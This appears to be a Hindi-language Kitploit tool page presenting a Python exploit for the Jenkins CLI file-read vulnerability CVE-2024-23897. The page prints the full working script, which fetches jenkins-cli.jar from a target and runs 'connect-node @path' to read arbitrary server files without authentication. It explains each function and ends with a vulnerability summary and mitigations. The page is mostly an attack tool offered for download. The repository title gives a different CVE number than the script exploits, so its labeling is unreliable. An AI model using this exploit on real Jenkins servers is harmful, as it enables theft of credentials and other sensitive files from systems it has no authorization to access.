Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-25897 — Python में बना Jenkins को भेदने वाला exploit | Kitploit
उपकरण/GitHubGitHub/i-100-user/cve-2024-25897
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंग
GitHubi-100-user/cve-2024-25897

CVE-2024-25897

Python में बना Jenkins को भेदने वाला exploit

रिपॉजिटरी देखें
212 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

banner

img1

पैरामीटर ip , puerto , ruta

img2

एक्सप्लॉइट का आउटपुट

img3

सहायता पैनल

एक्सप्लॉइट का स्पष्टीकरण

यहाँ कोड की व्याख्या Markdown में दी गई है:

कोड की व्याख्या

यह स्क्रिप्ट Jenkins (CVE-2024-23897) में एक विशिष्ट कमजोरी का शोषण करने के लिए डिज़ाइन की गई है। यह Jenkins सर्वर से एक JAR फ़ाइल डाउनलोड करने और Jenkins नोड को कनेक्ट करने के लिए पेलोड चलाने की अनुमति देती है। नीचे कोड के प्रत्येक भाग की व्याख्या दी गई है:

मॉड्यूल आयात

root@kitploit:~
import argparse
import requests
import os
import subprocess
import sys
  • argparse: कमांड लाइन तर्कों को संभालने के लिए।
  • requests: HTTP अनुरोध करने के लिए।
  • os: ऑपरेटिंग सिस्टम से इंटरैक्ट करने के लिए।
  • subprocess: सिस्टम कमांड चलाने के लिए।
  • sys: Python इंटरप्रेटर से इंटरैक्ट करने के लिए।

फ़ंक्शन banner

root@kitploit:~
def banner():
    """
    उपकरण के लिए एक सजावटी बैनर प्रिंट करता है।
    """
    text = """
   ______     _______     ____   ___ ____  _  _        ____  _____  ___  ___ _____       _            _    _           
  / ___\ \   / / ____|   |___ \ / _ \___ \| || |      |___ \|___ / ( _ )/ _ \___  |     | | ___ _ __ | | _(_)_ __  ___ 
 | |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / /   _  | |/ _ \ '_ \| |/ / | '_ \/ __|
 | |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____/ __/ ___) | (_) \__, |/ /   | |_| |  __/ | | |   <| | | | \__|
  \____|  \_/  |_____|   |_____|\___/_____|  |_|      |_____|____/ \___/  /_//_/     \___/ \___|_| |_|_|\_\_|_| |_|___/
 """
    print(text)

यह फ़ंक्शन स्क्रिप्ट की शुरुआत में एक सजावटी बैनर प्रिंट करता है।

फ़ंक्शन descargar_jar

root@kitploit:~
def descargar_jar(ip, puerto):
    """
    निर्दिष्ट Jenkins सर्वर से jenkins-cli.jar फ़ाइल डाउनलोड करता है।

    Args:
        ip (str): Jenkins सर्वर का IP पता।
        puerto (str): Jenkins सर्वर का पोर्ट।

    Returns:
        bool: यदि डाउनलोड सफल हुआ तो True, अन्यथा False।
    """
    url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
    try:
        response = requests.get(url)
        if response.status_code == 200:
            with open('jenkins-cli.jar', 'wb') as archivo_jar:
                archivo_jar.write(response.content)
            return True
        else:
            print(f"\n[-] फ़ाइल डाउनलोड नहीं हो सकी। स्थिति कोड: {response.status_code}")
            return False
    except requests.RequestException as errorhttp:
        print(f"\n[-] अनुरोध करते समय त्रुटि: {errorhttp}")
        return False

यह फ़ंक्शन निर्दिष्ट IP पते और पोर्ट द्वारा Jenkins सर्वर से jenkins-cli.jar फ़ाइल डाउनलोड करता है। यदि डाउनलोड सफल होता है, तो फ़ाइल को सिस्टम में सहेजता है और True लौटाता है; अन्यथा False लौटाता है।

फ़ंक्शन attack_payload

root@kitploit:~
def attack_payload(ip, puerto, ruta):
    """
    Jenkins नोड को कनेक्ट करने के लिए पेलोड चलाता है।

    Args:
        ip (str): Jenkins सर्वर का IP पता।
        puerto (str): Jenkins सर्वर का पोर्ट।
        ruta (str): फ़ाइल पढ़ने के लिए पथ।
    """
    archivo_jar = "jenkins-cli.jar"
    payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
    try:
        subprocess.run(payload, shell=True, check=True)
        os.remove(archivo_jar)
    except subprocess.CalledProcessError as error_payload:
        print(f"\n[-] नोड कनेक्ट करने का प्रयास करते समय त्रुटि: {error_payload}\n")

यह फ़ंक्शन jenkins-cli.jar फ़ाइल का उपयोग करके Jenkins नोड को कनेक्ट करने के लिए एक कमांड चलाता है। कमांड चलाने के बाद, JAR फ़ाइल को हटा देता है। यदि निष्पादन में त्रुटि होती है, तो एक त्रुटि संदेश प्रदर्शित करता है।

फ़ंक्शन main

root@kitploit:~
def main():
    """
    मुख्य फ़ंक्शन जो तर्कों को पार्स करता है और संबंधित फ़ंक्शन चलाता है।
    """
    parser = argparse.ArgumentParser(description="\n[+] CVE-2024-23897 का शोषण करने के लिए एक्सप्लॉइट\n")
    parser.add_argument("ip", type=str, help="\n[+] Jenkins सर्वर का IP पता\n")
    parser.add_argument("puerto", type=str, help="\n[+] Jenkins सर्वर का पोर्ट\n")
    parser.add_argument("ruta", type=str, help="\n[+] फ़ाइल पढ़ने का पथ\n")
    args = parser.parse_args()

    ip = args.ip
    puerto = args.puerto
    ruta = args.ruta

    banner()

    if descargar_jar(ip, puerto):
        attack_payload(ip, puerto, ruta)
    else:
        sys.exit(1)

स्क्रिप्ट का मुख्य फ़ंक्शन:

  1. कमांड लाइन तर्कों (ip, puerto, ruta) का विश्लेषण करता है।
  2. बैनर प्रिंट करने के लिए banner फ़ंक्शन को कॉल करता है।
  3. JAR फ़ाइल डाउनलोड करने के लिए descargar_jar फ़ंक्शन को कॉल करता है।
  4. यदि डाउनलोड सफल होता है, तो पेलोड चलाने के लिए attack_payload फ़ंक्शन को कॉल करता है; यदि नहीं, तो एग्ज़िट कोड 1 के साथ स्क्रिप्ट समाप्त करता है।

स्क्रिप्ट का निष्पादन

root@kitploit:~
if __name__ == '__main__':
    main()

यह ब्लॉक सुनिश्चित करता है कि main फ़ंक्शन केवल तभी चले जब स्क्रिप्ट सीधे निष्पादित हो, मॉड्यूल के रूप में आयात होने पर नहीं।

सारांश

यह स्क्रिप्ट Jenkins में एक कमजोरी का शोषण करने का एक उपकरण है। यह Jenkins सर्वर से एक JAR फ़ाइल डाउनलोड करता है और उस फ़ाइल का उपयोग करके एक पेलोड चलाता है जो Jenkins नोड को कनेक्ट करता है। आवश्यक तर्क (ip, puerto, ruta) कमांड लाइन के माध्यम से प्रदान किए जाते हैं।

यहाँ प्रत्येक के लिए pip install कमांड के साथ आवश्यक लाइब्रेरियों की सूची दी गई है:

आवश्यक लाइब्रेरियाँ

  • argparse: यह लाइब्रेरी Python की मानक लाइब्रेरी में शामिल है, इसलिए आपको इसे स्थापित करने की आवश्यकता नहीं है।

  • requests: HTTP अनुरोध करने के लिए।

    root@kitploit:~
    pip install requests
    
  • os: यह लाइब्रेरी Python की मानक लाइब्रेरी में शामिल है, इसलिए आपको इसे स्थापित करने की आवश्यकता नहीं है।

  • subprocess: यह लाइब्रेरी Python की मानक लाइब्रेरी में शामिल है, इसलिए आपको इसे स्थापित करने की आवश्यकता नहीं है।

  • sys: यह लाइब्रेरी Python की मानक लाइब्रेरी में शामिल है, इसलिए आपको इसे स्थापित करने की आवश्यकता नहीं है।

लाइब्रेरियाँ स्थापित करना

root@kitploit:~
pip install requests

CVE-2024-23897 एक कमजोरी है जो Jenkins में मौजूद है, जो एक लोकप्रिय स्वचालन और CI/CD उपकरण है। यह कमजोरी Jenkins संस्करण 2.441 और उससे पहले, साथ ही LTS संस्करण 2.426.2 और उससे पहले को प्रभावित करती है।

कमजोरी का विवरण:

  • प्रभावित फ़ंक्शन: Jenkins CLI कमांड पार्सर।
  • समस्या: यह एक ऐसी सुविधा को अक्षम नहीं करता जो किसी तर्क में '@' वर्ण के बाद फ़ाइल पथ को उस फ़ाइल की सामग्री से बदलने की अनुमति देती है।
  • प्रभाव: यह अप्रमाणित हमलावरों को Jenkins नियंत्रक के फ़ाइल सिस्टम पर मनमानी फ़ाइलें पढ़ने की अनुमति देता है।
  • जोखिम: एक हमलावर Jenkins सर्वर पर संग्रहीत संवेदनशील जानकारी तक पहुँच सकता है, जो सिस्टम को और अधिक समझौता करने का कारण बन सकता है।

शोषण का उदाहरण:

  1. एक हमलावर Jenkins को एक CLI कमांड भेजता है जिसमें @/पथ/से/फ़ाइल शामिल है।
  2. Jenkins का कमांड पार्सर @/पथ/से/फ़ाइल की व्याख्या करता है और इस तर्क को निर्दिष्ट फ़ाइल की सामग्री से बदल देता है।
  3. हमलावर बिना प्रमाणीकरण के फ़ाइल की सामग्री प्राप्त कर लेता है।

शमन उपाय:

  • Jenkins को अपडेट करें: ऐसे नए संस्करण स्थापित करें जिन्होंने इस कमजोरी को ठीक कर दिया हो।
  • सुरक्षा कॉन्फ़िगरेशन: Jenkins CLI तक पहुँच की समीक्षा करें और प्रतिबंधित करें, यह सुनिश्चित करते हुए कि केवल प्रमाणित और विश्वसनीय उपयोगकर्ता ही इस कार्यक्षमता का उपयोग कर सकें।

इस कमजोरी के विरुद्ध सिस्टम की सुरक्षा के लिए Jenkins को अपडेट करना और उचित रूप से कॉन्फ़िगर करना महत्वपूर्ण है।

Python लिनक्स आइकन

टूल डाउनलोड करें